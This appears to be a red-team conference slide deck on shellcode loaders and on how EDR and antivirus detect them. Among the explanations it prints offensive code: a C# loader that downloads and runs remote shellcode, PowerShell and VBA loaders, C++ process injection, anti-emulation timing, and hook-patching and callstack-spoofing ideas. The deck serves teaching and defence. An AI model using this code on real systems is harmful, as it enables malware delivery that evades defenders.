safely load
RedTeam C2
under EDR

My First And Last Shellcode Loader

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https://bit.ly/3ZC91Vy

About Me

Developer // TerreActive

Pentester // Compass Security

Developer // UZH

SOC Analyst // Infoguard

RedTeam Lead // Raiffeisen

Memory Corruption Exploits & Mitigations
// BFH - Bern University of Applied Sciences

Gaining Access
// OST - Eastern Switzerland University of Applied Sciences

SSL/TLS Recommendations
// OWASP Switzerland

Burp Sentinel - Semi Automated Web Scanner
// BSides Vienna

Automated WAF Testing and XSS Detection
// OWASP Switzerland Barcamp

Fuzzing For Worms - AFL For Network Servers
// Area 41

Develop your own RAT - EDR & AV Defense
// Area 41

Avred - Analyzing and Reverse Engineering AV Signatures
// HITB

Intro

Target Audience

- RedTeamers
- Doing **initial access** with their C2 (CobaltStrike, Sliver, Havoc…)
- Have some EDR knowhow, but confused

Me:

- Not much interest in specific (detectable) anti-EDR techniques
- Interest in how stuff overall works

Motivation: Initial Access with C2





Motivation: Initial Access with C2

Windows: So many possibilities!



OFFENSIVE X

https://github.com/sevagas/Advanced_Initial_access_in_2024_OffensiveX/blob/main/breach_the_gates_extended.pdf

“EDR bypass this”
“EDR bypass that”
“New EDR bypass technique”
“How i bypassed EDR”
“Usermode unhooking to bypass EDR”

- People dont understand EDR
- People dont know what they are bypassing
- People develop super advanced low level Anti-EDR techniques which create more telemetry than they solve



Processes

Program vs. Process



File vs. Process Analysis



Static Analysis

Dynamic Analysis
Behaviour Analysis

Memory Region Permissions



Memory Region Backed vs. Unbacked



Name	Raw Addr.	Raw size	Virtual Addr.	Virtual Size	Characteristics	Ptr to Reloc.	Num. of Reloc.	Num. of Linenum.
.text	400	5E200	1000	5E076	60000020	0	0	0
.rdata	5E600	20A00	60000	20854	40000040	0	0	0
.data	7F000	800	81000	2DD8	C0000040	0	0	0
.pdata	7F800	7200	84000	711C	40000040	0	0	0
.rsrc	86A00	800	8C000	7B8	40000040	0	0	0
.reloc	87200	E00	8D000	CC6	42000040	0	0	0



Process Memory Regions

Info	Protection	Type
Reserved (00007FF4262F0000)		MAP
Reserved		PRV
Reserved		PRV
	-RW--	PRV
	-R---	MAP
procexp64.infected.exe	-R---	IMG
".text"	ER---	IMG
".rdata"	-R---	IMG
".data"	-RWC-	IMG
".pdata"	-R---	IMG
"_RDATA"	-R---	IMG
".rsrc"	-R---	IMG
".reloc"	-R---	IMG
credui.dll	-R---	IMG
".text"	ER---	IMG
".rdata"	-R---	IMG
".data"	-RW--	IMG
".pdata"	-R---	IMG
".didat"	-R---	IMG
".rsrc"	-R---	IMG
".reloc"	-R---	IMG

Shellcode Loader Example

Shellcode: Calc

```
PS C:\Users\hacker\source\repos\supermega\shellcodes> Format-hex -Path $filePath

           Path: C:\Users\hacker\source\repos\supermega\shellcodes\calc64.bin

           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51  üH□äðèÀ...AQAPRQ
00000010   56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52  VH1ÒeH□R`H□R.H□R
00000020   20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0   H□rPH.·JJM1ÉH1À
00000030   AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 ED  ¬<a|., AÁÉ.A.Áâí
00000040   52 41 51 48 8B 52 20 8B 42 3C 48 01 D0 8B 80 88  RAQH□R □B<H.Ð□□□
00000050   00 00 00 48 85 C0 74 67 48 01 D0 50 8B 48 18 44  ...H□ÀtgH.ÐP□H.D
00000060   8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 88 48  □@ I.ÐãVH.ÉA□4□H
00000070   01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1  .ÖM1ÉH1À¬AÁÉ.A.Á
00000080   38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44  8àuñL.L$.E9ÑuØXD
00000090   8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49  □@$I.ÐfA□.HD□@.I
000000A0   01 D0 41 8B 04 88 48 01 D0 41 58 41 58 5E 59 5A  .ÐA□.□H.ÐAXAX^YZ
000000B0   41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58 41  AXAYAZH□ì AR.àXA
000000C0   59 5A 48 8B 12 E9 57 FF FF FF 5D 48 BA 01 00 00  YZH□.éW...]Hº...
000000D0   00 00 00 00 00 48 8D 8D 01 01 00 00 41 BA 31 8B  .....H□□....Aº1□
000000E0   6F 87 FF D5 BB FE 0E 32 EA 41 BA A6 95 BD 9D FF  o□.Õ»þ.2êAº¦□½□.
000000F0   D5 48 83 C4 28 3C 06 7C 0A 80 FB E0 75 05 BB 47  ÕH□Ä(<.|.□ûàu.»G
00000100   13 72 6F 6A 00 59 41 89 DA FF D5 63 61 6C 63 00  .roj.YA□Ú.Õcalc.
```

Shellcode: Calc

```
PS C:\Users\hacker\source\repos\iattest\x64\Release> radare2.exe .\calc64.bin
[0x00000000]> pd
            0x00000000      fc              cld
            0x00000001      4883e4f0        and rsp, 0xfffffffffffffff0
            0x00000005      e8c0000000      call 0xca
            0x0000000a      4151            push r9
            0x0000000c      4150            push r8
            0x0000000e      52              push rdx
            0x0000000f      51              push rcx
            0x00000010      56              push rsi
            0x00000011      4831d2          xor rdx, rdx
            0x00000014      65488b5260      mov rdx, qword gs:[rdx + 0x60]
            0x00000019      488b5218        mov rdx, qword [rdx + 0x18]
            0x0000001d      488b5220        mov rdx, qword [rdx + 0x20]
            0x00000021      488b7250        mov rsi, qword [rdx + 0x50]
            0x00000025      480fb74a4a      movzx rcx, word [rdx + 0x4a]
            0x0000002a      4d31c9          xor r9, r9
        .-> 0x0000002d      4831c0          xor rax, rax
        :   0x00000030      ac              lodsb al, byte [rsi]
        :   0x00000031      3c61            cmp al, 0x61                ; 'a'
      ,==< 0x00000033      7c02            jl 0x37
      |:   0x00000035      2c20            sub al, 0x20                ; " H\x8brPH\x0f\xb7
      `--> 0x00000037      41c1c90d        ror r9d, 0xd
        :   0x0000003b      4101c1          add r9d, eax
        `=< 0x0000003e      e2ed            loop 0x2d
            0x00000040      52              push rdx
            0x00000041      4151            push r9
            0x00000043      488b5220        mov rdx, qword [rdx + 0x20]
            0x00000047      8b423c          mov eax, dword [rdx + 0x3c]
            0x0000004a      4801d0          add rax, rdx
            0x0000004d      8b8088000000    mov eax, dword [rax + 0x88]
            0x00000053      4885c0          test rax, rax
```

Shellcode: Loader



Need:

- Shellcode (payload)
- VirtualAlloc memory
- Copy shellcode to memory
- Exec memory

Shellcode Loader: 1/3 VirtualAlloc



Shellcode Loader: 2/3 Copy



Shellcode Loader: 3/3 Exec



Shellcode Loader Structure

- The payload / shellcode to execute
  - In .data, .rdata, .text, from a file
  - Encoded, encrypted, base64, xor'd…
- The writeable/executable memory
  - VirtualAlloc()
  - NtAllocateVirtualMemory()
  - HeapAlloc()
- The copy
  - for() loop
  - memcpy() / memmove()
  - RtlCopyMemory(), CopyMemory(), MoveMemory()
- The execution
  - Just jmp to it: ((void(*)())exec)();
  - CreateThread(), QueueUserWorkItem()
  - QueueUserApc()
  - Windows functions which use a callback
- Shellcode can be a reflective DLL



Shellcode Loader

In other languages

Download → Decode → Alloc → Copy → Create Thread

```
1 reference
public static void DownloadAndExecute()
{
    Console.WriteLine("################ Download Base64 & decode to bytes");
    ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
    System.Net.WebClient client = new System.Net.WebClient();
    string b64 = client.DownloadString(url);
    byte[] shellcode = System.Convert.FromBase64String(b64);

    Console.WriteLine("################ Allocate memory with the length of the shellcode");
    IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
    Console.WriteLine("################ Copy Shellcode in allocated space");
    Marshal.Copy(shellcode, 0, addr, shellcode.Length);
    Console.WriteLine("################ Create a thread");
    IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
    WaitForSingleObject(hThread, 0xFFFFFFFF);
    return;
}
```

Shellcode Loader: Powershell

```
$shellcode = @(0x00, 0x01, 0x02, 0x03)


$pointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $pointer, $shellcode.Length)
$functionDelegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pointer, [func[type]])
$functionDelegate.Invoke()
```

Shellcode Loader: VBA

```
Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As
Long, ByVal flProtect As Long) As LongPtr
Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Destination As LongPtr, ByRef Source As Any, ByVal Length As Long) As
LongPtr
Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As LongPtr, ByVal dwStackSize As Long, ByVal
lpStartAddress As LongPtr, ByVal lpParameter As LongPtr, ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As LongPtr
Declare PtrSafe Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As LongPtr, ByVal dwMilliseconds As Long) As Long

Public Sub ExecuteShellcode()
    Dim shellcode As Variant
    Dim memoryAddress As LongPtr
    Dim threadHandle As LongPtr
    Dim threadId As Long
    Dim result As Long

    shellcode = Array(144, 144, 144, ..., 144) ' Replace "..." with your shellcode bytes
    memoryAddress = VirtualAlloc(0, UBound(shellcode) + 1, &H3000, &H40)
    Call RtlMoveMemory(memoryAddress, shellcode(0), UBound(shellcode) + 1)
    threadHandle = CreateThread(0, 0, memoryAddress, 0, 0, threadId)
```

Shellcode Loader: Remote Process Injection



Shellcode Loader: Remote Process Injection

inject-remote-process.cpp

```
#include "stdafx.h"
#include "Windows.h"

int main(int argc, char *argv[])
{
        unsigned char shellcode[] =
                "\xb4\x22\xa0\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad
                "\x94\x64\x5d\xae\x2b\x90\xe1\xec";

        HANDLE processHandle;
        HANDLE remoteThread;
        PVOID remoteBuffer;

        printf("Injecting to PID: %i", atoi(argv[1]));
        processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
        remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESER
        WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NU
        remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUT
        CloseHandle(processHandle);

    return 0;
}
```

Anti Virus Detection

Loader: Unencrypted Payload



Loader: Unencrypted Payload



DEMO: Show AV finds unencrypted metasploit

AntiVirus - Encrypted Payload

Loader: Unencrypted Payload



Loader: Encrypted payload



“Encryption” can be anything

- XOR
- ROT13
- ADD 1
- ZIP
- Base64

Theres no need to:

- AES, RC4 etc.
- Low entropy / steganography
- Hide it / steganogrphy / low entropy (like SVG, CSS, UUID, CSV)

DEMO: Show AV with encrypted metasploit

AntiVirus

AV Emulator

AV Emulator:

- “Interpret” PE file
- Virtual CPU, Windows

It is not:

- Virtualization
- Sandbox
- Full Emulation (Bochs)
- Wine



Emulate binary until condition is met
Signature Memory Scan after that

Cut-off condition:

- Time
- Number of instructions
- Number of API Calls
- Amount of memory used



Example: Check time register to sleep

```
int get_time_raw() {
    ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
    LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
    ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
    DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
        ((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
    return kernelTime;
}


int sleep_ms(DWORD sleeptime) {
    DWORD start = get_time_raw();
    while (get_time_raw() - start < sleeptime) {}
}
```


Payload
Encrypted
Process
Anti
Emulation
Alloc
Copy
Exec
Payload
AV Emulation


Payload
Encrypted
Process
Anti
Emulation
Alloc
Copy
Exec
Payload
AV Emulation
Static Code Analysis

DEMO: AV does NOT find encrypted metasploit with Anti-Emulation

- Show Anti-Emulation


Windows Offender:
Reverse Engineering
Windows Defender's
Antivirus Emulator
Alexei Bulazel
@0xAlexei
DEF CON 26

Detection in Middleboxes

Dynamic Analysis


AV
Email Gateway
AV
Client
AV
Web Proxy
Malware
AV
Teams Sharepoint

Execution guardrails:

- **Environment check**
- Environmental keying
- Sandbox / VM detection

Execution Guardrails: Example

Check environmental variable: $USERPROFILE == “/home/hacker”

```
int executionguardrail() {
        // Execution Guardrail: Env Check
        wchar_t envVarName[] = L"USERPROFILE";
        wchar_t tocheck[] = L"{{guardrail_data}}";
        WCHAR buffer[1024];  // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
        DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
        if (result == 0) {
                return 6;
        }
        if (mystrcmp(buffer, tocheck) != 0) {
                return 6;
        }
    return 0;
}
```


Payload
Encrypted
Process
Execution
Guardrails
Alloc
Copy
Exec
Payload
Sandbox

Loader Design

Conclusion

Loader Summary



Loader Problem



EDR Fundamentals

EDR:

- Agent on each System
- Find malicious processes

EDR is blackbox
Many different EDR
Rapid development

Therefore:

- Focus on what the EDR sees
- Not the detections itself
- Whats the input?
- Create a framework to reason about EDR



EDR - Bubbles of Bane



EDR Input: Usermode-Hooks


kernel32.dll
OpenProcess
kernel32.dll
VirtualAllocEx
WinApi
Ntdll.dll
NtOpenProcess
Ntdll.dll
NtAllocateVirtualMemory
NtApi
syscall
syscall
Kernel
NtOpenProcess
Kernel
NtAllocateVirtualMemory
Usermode
Hook
Usermode
Hook
Kernel




```
Original Function On-Disk:                  EDR Hooked Function In-Memory:
--------------------                        ----------------------

mov     r10, rcx                            mov     r10, rcx
>mov    eax, 50h                            jmp     0x7ffaeadea621
test    byte ptr [0x7FFE0h], 1              test    byte ptr [0x7FFE0h], 1
jne     0x17e76540ea5                       jne     0x17e76540ea5
syscall                                     syscall
ret                                         ret
```

Usermode Hooks: Patching ntdll.dll



Typically hooked functions:

- VirtualAlloc, VirtualProtect
- MapViewOfFile, MapViewOfFile2
- VirtualAllocEx, VirtualProtectEx
- QueueUserAPC
- SetThreadContext
- WriteProcessMemory, ReadProcessMemory

PRODUCT	INTERCEPTION POINT (HOOK)	
	NTDLL	KERNELBASE / KERNEL32
BitDefender	✅	⛔
CarbonBlack	✅	⛔
Checkpoint	✅	⛔
Cortex	⛔	⛔
CrowdStrike Falcon	✅	⛔
Windows Defender	⛔	⛔
Windows Defender + ATP	⛔	⛔
Elastic	⛔	⛔
ESET	⛔	⛔
Kaspersky	⛔	⛔
MalwareBytes	⛔	⛔
SentinelOne	✅	✅
Sophos	✅	⛔
Symantec	⛔	⛔
Trellix	✅	⛔
Trend	✅	⛔

EDR Input List


Process
EtwWrite()
ntdll.dll
syscall
amsi.dll
pipe
OS
Kernel Callbacks
ETW
ETW-TI
Usermode Hooks
EDR

EDR Input

Kernel Callbacks

void **CreateProcess**NotifyRoutine(**parent_process**, **pid**, **createInfo**)
void **CreateThread**NotifyRoutine(**ProcessId**, **ThreadId**, **Create**);
void **LoadImage**NotifyRoutine(**FullImageName**, **ProcessId**, **ImageInfo**);
void **ObCallback**(**RegistrationContext**, **PreInfo**);

Kernel Callbacks



EDR Input

ETW


Events:
• Network
• Disk
• OS
• etc
ETW Providers
ETW Sessions (ETW Loggers)
Session #1
• data buffer
• providers
Session #2
• data buffer
• providers
..
Session #64
• data buffer
• providers
Real-time Delivery
Log files
ETW Consumers
ETW Controllers
Event Tracing for Windows (ETW)
Results:
• Data for analysis
• Alert notifications

ETW Providers

```
PS C:\temp> logman query providers

Provider                                  GUID
-------------------------------------------------------------------------------
ACPI Driver Trace Provider                {DAB01D4D-2D48-477D-B1C3-DAAD0CE6F06B}
Active Directory Domain Services: SAM     {8E598056-8993-11D2-819E-0000F875A064}
Active Directory: Kerberos Client         {BBA3ADD2-C229-4CDB-AE2B-57EB6966B0C4}
Active Directory: NetLogon                {F33959B4-DBEC-11D2-895B-00C04F79AB69}
ADODB.1                                   {04C8A86F-3369-12F8-4769-24E484A9E725}
ADOMD.1                                   {7EA56435-3F2F-3F63-A829-F0B35B5CAD41}
Application Popup                         {47BFA2B7-BD54-4FAC-B70B-29021084CA8F}
Application-Addon-Event-Provider          {A83FA99F-C356-4DED-9FD6-5A5EB8546D68}
ATA Port Driver Tracing Provider          {D08BD885-501E-489A-BAC6-B7D24BFE6BBF}
AuthFw NetShell Plugin                    {935F4AE6-845D-41C6-97FA-380DAD429B72}
BCP.1                                     {24722B88-DF97-4FF6-E395-DB533AC42A1E}
BFE Trace Provider                        {106B464A-8043-46B1-8CB8-E92A0CD7A560}
BITS Service Trace                        {4A8AAA94-CFC4-46A7-8E4E-17BC45608F0A}
Certificate Services Client CredentialRoaming Trace {EF4109DC-68FC-45AF-B329-CA2825437209}
Certificate Services Client Trace         {F01B7774-7ED7-401E-8088-B576793D7841}
Circular Kernel Session Provider          {54DEA73A-ED1F-42A4-AF71-3E63D056F174}
Classpnp Driver Tracing Provider          {FA8DE7C4-ACDE-4443-9994-C4E2359A9EDB}
Critical Section Trace Provider           {3AC66736-CC59-4CFF-8115-8DF50E39816B}
DBNETLIB.1                                {BD568F20-FCCD-B948-054E-DB3421115D61}
Deduplication Tracing Provider            {5EBB59D1-4739-4E45-872D-B8703956D84B}
Disk Class Driver Tracing Provider        {945186BF-3DD6-4F3F-9C8E-9EDD3FC9D558}
```

ETW Providers, Loader relevant

ETW Provider	Info
Microsoft-Windows-Kernel-Process	• Process Start/Stop • Thread Start/Stop • Image Loads
Microsoft-Windows-Security-Auditing	• Process Start/Stop • Security Operations
Microsoft-Windows-Kernel-Audit-API-Calls	• OpenProcess, OpenThread • SetContextThread
Microsoft-Antimalware-*	• Defender Internals
<tbd>	

ETW Provider: Microsoft-Windows-Kernel-Process

Microsoft-Windows-Kernel-Process: Provides events related to process creation and termination. It can help detect suspicious processes being spawned.

Name	Value	Version	Task	Keyword
ProcessStart	1	0	ProcessStart	WINEVENT_KEYWORD_PROCESS
ProcessStart_V1	1	1	ProcessStart	WINEVENT_KEYWORD_PROCESS
ProcessStart_V2	1	2	ProcessStart	WINEVENT_KEYWORD_PROCESS
ProcessStart_V3	1	3	ProcessStart	WINEVENT_KEYWORD_PROCESS
ProcessStop	2	0	ProcessStop	WINEVENT_KEYWORD_PROCESS
ProcessStop_V1	2	1	ProcessStop	WINEVENT_KEYWORD_PROCESS
ProcessStop_V2	2	2	ProcessStop	WINEVENT_KEYWORD_PROCESS
ThreadStart	3	0	ThreadStart	WINEVENT_KEYWORD_THREAD
ThreadStart_V1	3	1	ThreadStart	WINEVENT_KEYWORD_THREAD
ThreadStop	4	0	ThreadStop	WINEVENT_KEYWORD_THREAD
ThreadStop_V1	4	1	ThreadStop	WINEVENT_KEYWORD_THREAD
ImageLoad	5	0	ImageLoad	WINEVENT_KEYWORD_IMAGE
ImageUnload	6	0	ImageUnload	WINEVENT_KEYWORD_IMAGE
CpuBasePriorityChange	7	0	CpuBasePriorityChange	WINEVENT_KEYWORD_CPU_PRIORITY
CpuPriorityChange	8	0	CpuPriorityChange	WINEVENT_KEYWORD_CPU_PRIORITY
PagePriorityChange	9	0	PagePriorityChange	WINEVENT_KEYWORD_OTHER_PRIORITY
IoPriorityChange	10	0	IoPriorityChange	WINEVENT_KEYWORD_OTHER_PRIORITY
ProcessFreezeStart	11	0	ProcessFreeze	WINEVENT_KEYWORD_PROCESS_FREEZE
ProcessFreezeStart_V1	11	1	ProcessFreeze	WINEVENT_KEYWORD_PROCESS_FREEZE
ProcessFreezeStop	12	0	ProcessFreeze	WINEVENT_KEYWORD_PROCESS_FREEZE
ProcessFreezeStop_V1	12	1	ProcessFreeze	WINEVENT_KEYWORD_PROCESS_FREEZE
JobStart	13	0	JobStart	WINEVENT_KEYWORD_JOB
JobTerminateStop	14	0	JobTerminate	WINEVENT_KEYWORD_JOB
ProcessRundown	15	0	ProcessRundown	WINEVENT_KEYWORD_PROCESS
ProcessRundown_V1	15	1	ProcessRundown	WINEVENT_KEYWORD_PROCESS

- **Process** Start/Stop
- **Thread** Start/Stop
- **Image** Load/Unload
- Some more

ProcessStart data:

- ProcessID
- CreateTime
- ParentProcessID
- ImageName

Basically same as Kernel Callbacks

ETW Provider: Microsoft-Windows-Security-Auditing

EventId	Event Description	Event Audit Sul	Operational Functions	Event Processing Functions	Event Emission Function
4624	An account was successfully logged on.	Audit Logon	SspirLogonUser, SspiExLo	[LsapAuGenerateLogonAudits], Ls	ntdll!EtwWriteUMSecurityEvent
4625	An account failed to log on.	Audit Logon	SspirLogonUser, SspiExLo	[LsapAuGenerateLogonAudits], Ls	ntdll!EtwWriteUMSecurityEvent
4627	Group membership information.	Audit Logon	LsapAuApiDispatchLogonU LsapCreateTokenEx	[LsapReportGroupsAtLogonEvent	ntdll!EtwWriteUMSecurityEvent
4634	An account was logged off	Audit Logoff	LsapLogonSessionDelete	[LsapAdtAuditLogoff], LsapAdtWri	ntdll!EtwWriteUMSecurityEvent
4647	User initiated logoff.	Audit Logoff	winlogon!WLGeneric_Logg ExitWindowsEx, winlogon!\	[AuthziLogAuditEvent], AuthzpSer [AuthziLogAuditEvent], AuthzpSer	ntdll!EtwWriteUMSecurityEvent
4648	A logon was attempted using explicit credei	Audit Logon	SspirLogonUser, SspiExLo	[LsaIAuditLogonUsingExplicitCred	ntdll!EtwWriteUMSecurityEvent
4656	A handle to an object was requested.	Audit File Systen	ObpCreateHandle SepAccessCheckAndAudit	[SepAdtOpenObjectAuditAlarm], S [SepAdtOpenObjectAuditAlarm], S	nt!EtwWriteKMSecurityEvent
4657	A registry value was modified.	Audit Registry	CmDeleteKeyValue CmSetValueKey	[SeAdtRegistryValueChangedAud [SeAdtRegistryValueChangedAud	nt!EtwWriteKMSecurityEvent
4660	An object was deleted.	Audit File Systen	NtDeleteObjectAuditAlarm NtDeleteKey, SeDeleteObj NtMakeTemporaryObject, S SeDeleteObjectAuditAlarm	[SepAdtDeleteObjectAuditAlarm], [SepAdtDeleteObjectAuditAlarm], [SepAdtDeleteObjectAuditAlarm], [SepAdtDeleteObjectAuditAlarm],	nt!EtwWriteKMSecurityEvent
4661	A handle to an object was requested.	Audit Directory S	SampOpenAccount...SepA SampOpenDomain...SepA	SepAdtOpenObjectAuditAlarm, Se SepAdtOpenObjectAuditAlarm, Se	nt!EtwWriteKMSecurityEvent
4662	An operation was performed on an object.	Audit Directory S	IDL_DRSGetNCChanges More info, just not docume	[AuthziLogAuditEvent], AuthzpSer	ntdll!EtwWriteUMSecurityEvent
4663	An attempt was made to access an object.	Audit File Systen	ObpAuditObjectAccess	[SeOperationAuditAlarm], SepAdtI	nt!EtwWriteKMSecurityEvent
4664	An attempt was made to create a hard link.	Audit File Systen	CreateHardLink, NtSetInfor	[SeAuditHardLinkCreationWithTra	nt!EtwWriteKMSecurityEvent
4672	Special privileges assigned to new logon.	Audit Special Lo	LsaISetSupplementalToker SspiExLogonUser, LsapAu SspiExLogonUser, LsaCon	[LsapAdtAuditSpecialPrivileges], L [LsapAdtAuditSpecialPrivileges], L [LsapAdtAuditSpecialPrivileges], L	ntdll!EtwWriteUMSecurityEvent
4673	A privileged service was called.	Audit Sensitive F	ntdll!NtPrivilegedServiceAu	[SepAdtPrivilegedServiceAuditAla	nt!EtwWriteKMSecurityEvent
4674	An operation was attempted on a privileged	Audit Sensitive F	ObpCreateHandle NtOpenObjectAuditAlarm SeAuditHandleCreation SepAccessCheckAndAudit	[SepAdtPrivilegeObjectAuditAlarm	nt!EtwWriteKMSecurityEvent
4688	A new process has been created.	Audit Process Cı	NtCreateuserProcess, Psp PsCreateMinimalProcess, I PspCreateProcess, PspIns	[SeAuditProcessCreation], SepAd [SeAuditProcessCreation], SepAd [SeAuditProcessCreation], SepAd	nt!EtwWriteKMSecurityEvent
4689	A process has exited.	Audit Process Te	NtTerminateProcess,PspE> PspTerminateThreadByPoi KiSchedulerApcTerminate,	[SeAuditProcessExit], SepAdtLog [SeAuditProcessExit], SepAdtLog [SeAuditProcessExit], SepAdtLog	nt!EtwWriteKMSecurityEvent


Process
(Etw)EventWrite()
OS
ETW
EDR
ETW
ETW

EDR Input

ETW-TI

ETW-Threat Intelligence
The good shit

Few consumers (Defender?)
Req PPL'd and signed process

- `EtwTi` : These are Microsoft-Windows-Threat-Intelligence-Sensors.
- `EtwTim` : These are Microsoft-Windows-Security-Mitigations-Sensors.

Microsoft-Windows-Threat-Intelligence-Sensors	Microsoft-Windows-Security-Mitigations-Sens
EtwTiLogInsertQueueUserApc	EtwTimLogBlockNonCetBinaries
EtwTiLogDeviceObjectLoadUnload	EtwTimLogControlProtectionUserModeReturnMisı
EtwTiLogSetContextThread	EtwTimLogProhibitFsctlSystemCalls
EtwTiLogReadWriteVm	EtwTimLogRedirectionTrustPolicy
EtwTiLogAllocExecVm	EtwTimLogUserCetSetContextIpValidationFailure
EtwTiLogProtectExecVm	EtwTimLogProhibitChildProcessCreation
EtwTiLogMapExecView	EtwTimLogProhibitDynamicCode
EtwTiLogDriverObjectUnLoad	EtwTimLogProhibitLowILImageMap
EtwTiLogDriverObjectLoad	EtwTimLogProhibitNonMicrosoftBinaries
EtwTiLogSuspendResumeProcess	EtwTimLogProhibitWin32kSystemCalls
EtwTiLogSuspendResumeThread	

EDR Input

Query Process

Most events only have very little information

- PID
- ThreadID
- What happened
  - (Image allocation at address x)

EDR: Query Overview



EDR: Query Process Information

Query Process Information:

- Parent Process Id
- Image filename (source exe)
- Command line parameters
- Loaded DLL's

Note:

- PPID Spoofing
- Command line argument Spoofing

NtQueryInformationProcess()



EDR: Memory Scanning

Signature scan (like in files)
Performance intensive - only on trigger

```
BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);
```



Callstack:

- On NtApi Call (AMSI or syscall)
- List of addresses of all previous parent functions

Stack - thread 34356

#	Name	Stack address	Return address	Frame address
0	ntoskrnl.exe!KiDeliverApc+0x1b0			
1	ntoskrnl.exe!KiSwapThread+0x827			
2	ntoskrnl.exe!KiCommitThreadWait+0x14f			
3	ntoskrnl.exe!KeDelayExecutionThread+0x122			
4	ntoskrnl.exe!NtDelayExecution+0x5f			
5	ntoskrnl.exe!KiSystemServiceCopyEnd+0x25			
6	ntdll.dll!NtDelayExecution+0x14	0x88da5ffa98	0x7ffeb65795be	0x88da5ffa90
7	KernelBase.dll!SleepEx+0x9e	0x88da5ffaa0	0x22d6bd5bd51	0x88da5ffb30
8	0x22d6bd5bd51	0x88da5ffb40	0x1388	0x88da5ffb38
9	0x1388	0x88da5ffb48	0x22d00000000	0x88da5ffb40
10	0x22d00000000	0x88da5ffb50	0x1b0001c00000bb	0x88da5ffb48
11	0x1b0001c00000bb	0x88da5ffb58		0x88da5ffb50

EDR: Callstack Analysis



Callstack analysis - Elastic

Elastic has callstack analysis rules for:

- Direct syscalls
- Callback-based evasion
- Module Stomping
- Library loading from unbacked region
- Process created from unbacked region

Callstack analysis for:

- VirtualAlloc, VirtualProtect
- MapViewOfFile, MapViewOfFile2
- VirtualAllocEx, VirtualProtectEx
- QueueUserAPC
- SetThreadContext
- WriteProcessMemory, ReadProcessMemory

EDR Performance

If EDR is slow dev's go to Mac. Cant let this happen.



Perf Impact	What
1	Event
3	Events Correlation
10	Process Query
100	Memory Scan
1000	File Scan




Input Events
time
EDR
Query Process Info (QPI)



- MD5 hashes of images
- Callstack (ProcessAccess)
- Current Working Directoy

EDR Example Attacks

Usermode-hook patch


kernel32.dll
OpenProcess
kernel32.dll
VirtualAllocEx
WinApi
Ntdll.dll
NtOpenProcess
Ntdll.dll
NtAllocateVirtualMemory
NtApi
syscall
syscall
Kernel
NtOpenProcess
Kernel
NtAllocateVirtualMemory
Usermode Hook

Remove Userspace-Hooks by patching ntdll.dll



“EDR bypass”

Usermode Hooks: Patching ntdll.dll



Callstack Spoofing

Callstack:

- List of addresses of all previous parent functions

Stack - thread 34356

#	Name	Stack address	Return address	Frame address
0	ntoskrnl.exe!KiDeliverApc+0x1b0			
1	ntoskrnl.exe!KiSwapThread+0x827			
2	ntoskrnl.exe!KiCommitThreadWait+0x14f			
3	ntoskrnl.exe!KeDelayExecutionThread+0x122			
4	ntoskrnl.exe!NtDelayExecution+0x5f			
5	ntoskrnl.exe!KiSystemServiceCopyEnd+0x25			
6	ntdll.dll!NtDelayExecution+0x14	0x88da5ffa98	0x7ffeb65795be	0x88da5ffa90
7	KernelBase.dll!SleepEx+0x9e	0x88da5ffaa0	0x22d6bd5bd51	0x88da5ffb30
8	0x22d6bd5bd51	0x88da5ffb40	0x1388	0x88da5ffb38
9	0x1388	0x88da5ffb48	0x22d00000000	0x88da5ffb40
10	0x22d00000000	0x88da5ffb50	0x1b0001c00000bb	0x88da5ffb48
11	0x1b0001c00000bb	0x88da5ffb58		0x88da5ffb50

Callstack patch: Modify process/thread stack return addresses

Options

Stack - thread 45956

#	Name	Stack address	Frame address	Return address
0	ntoskrnl.exe!KiDeliverApc+0x1b0			
1	ntoskrnl.exe!KiSwapThread+0x827			
2	ntoskrnl.exe!KiCommitThreadWait+0x14f			
3	ntoskrnl.exe!KeDelayExecutionThread+0x122			
4	ntoskrnl.exe!NtDelayExecution+0x5f			
5	ntoskrnl.exe!KiSystemServiceCopyEnd+0x25			
